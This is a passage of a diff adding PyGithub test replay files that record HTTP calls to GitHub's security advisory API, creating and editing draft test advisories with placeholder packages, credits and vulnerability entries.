X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96a7d34dabeec842896ab9597991bcdac9df2f40ea0f01b38901ea71843a45bc"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F615:4E3C:6FC6FA:E39FA2:642C4F44')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"analyst"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"}]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": []} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f4a77dc80164dd9e7a1f483b94c3db7ccbcbbccb996c1ed3d394cddf90b4d591"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F616:817C:6F2796:E1CA7F:642C4F44')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[],"credits_detailed":[]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": [{"login": "octocat", "type": "analyst"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96a7d34dabeec842896ab9597991bcdac9df2f40ea0f01b38901ea71843a45bc"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F618:0C65:20E2CB:431BAB:642C4F44')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"analyst"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"}]} + diff --git a/tests/ReplayData/RepositoryAdvisory.testAddVulnerability.txt b/tests/ReplayData/RepositoryAdvisory.testAddVulnerability.txt new file mode 100644 index 00000000..db652a6f --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testAddVulnerability.txt @@ -0,0 +1,44 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FEE5:23B6:485487:939882:642C41E8')] +{"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} + +https +POST +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"summary": "A test creating a GHSA via the API adding and removing vulnerabilities", "description": "Simple description", "vulnerabilities": [], "cwe_ids": [], "severity": "low"} +201 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1696'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"3db06831549ec4357c1f120aded02676224ede5707e59ebe7933593f6900343d"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('Location', 'https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'FEEA:0E49:4361FD:899387:642C41E9')] +{"ghsa_id":"GHSA-2f23-hmjx-gm6h","cve_id":null,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-2f23-hmjx-gm6h","summary":"A test creating a GHSA via the API adding and removing vulnerabilities","description":"Simple description","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-2f23-hmjx-gm6h","type":"GHSA"}],"state":"draft","created_at":"2023-04-04T15:27:37Z","updated_at":"2023-04-04T15:27:37Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[],"cvss":{"vector_string":null,"score":null},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"vulnerabilities": [{"package": {"ecosystem": "maven", "name": null}, "patched_versions": null, "vulnerable_functions": null, "vulnerable_version_range": null}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6c5a1d8550738b7052c587a40ce822c1ec0d9b7925506d353956756c3eda6e26"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FEEB:0FB7:4ACC5A:989B6C:642C41E9')] +{"ghsa_id":"GHSA-2f23-hmjx-gm6h","cve_id":null,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-2f23-hmjx-gm6h","summary":"A test creating a GHSA via the API adding and removing vulnerabilities","description":"Simple description","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-2f23-hmjx-gm6h","type":"GHSA"}],"state":"draft","created_at":"2023-04-04T15:27:37Z","updated_at":"2023-04-04T15:27:37Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"maven","name":null},"vulnerable_version_range":null,"patched_versions":null,"vulnerable_functions":[]}],"cvss":{"vector_string":null,"score":null},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"vulnerabilities": [{"package": {"ecosystem": "maven", "name": null}, "patched_versions": null, "vulnerable_functions": [], "vulnerable_version_range": null}, {"package": {"ecosystem": "npm", "name": "b-package"}, "patched_versions": "4.0.10", "vulnerable_functions": ["function-name-c"], "vulnerable_version_range": "<=4.0.9"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), 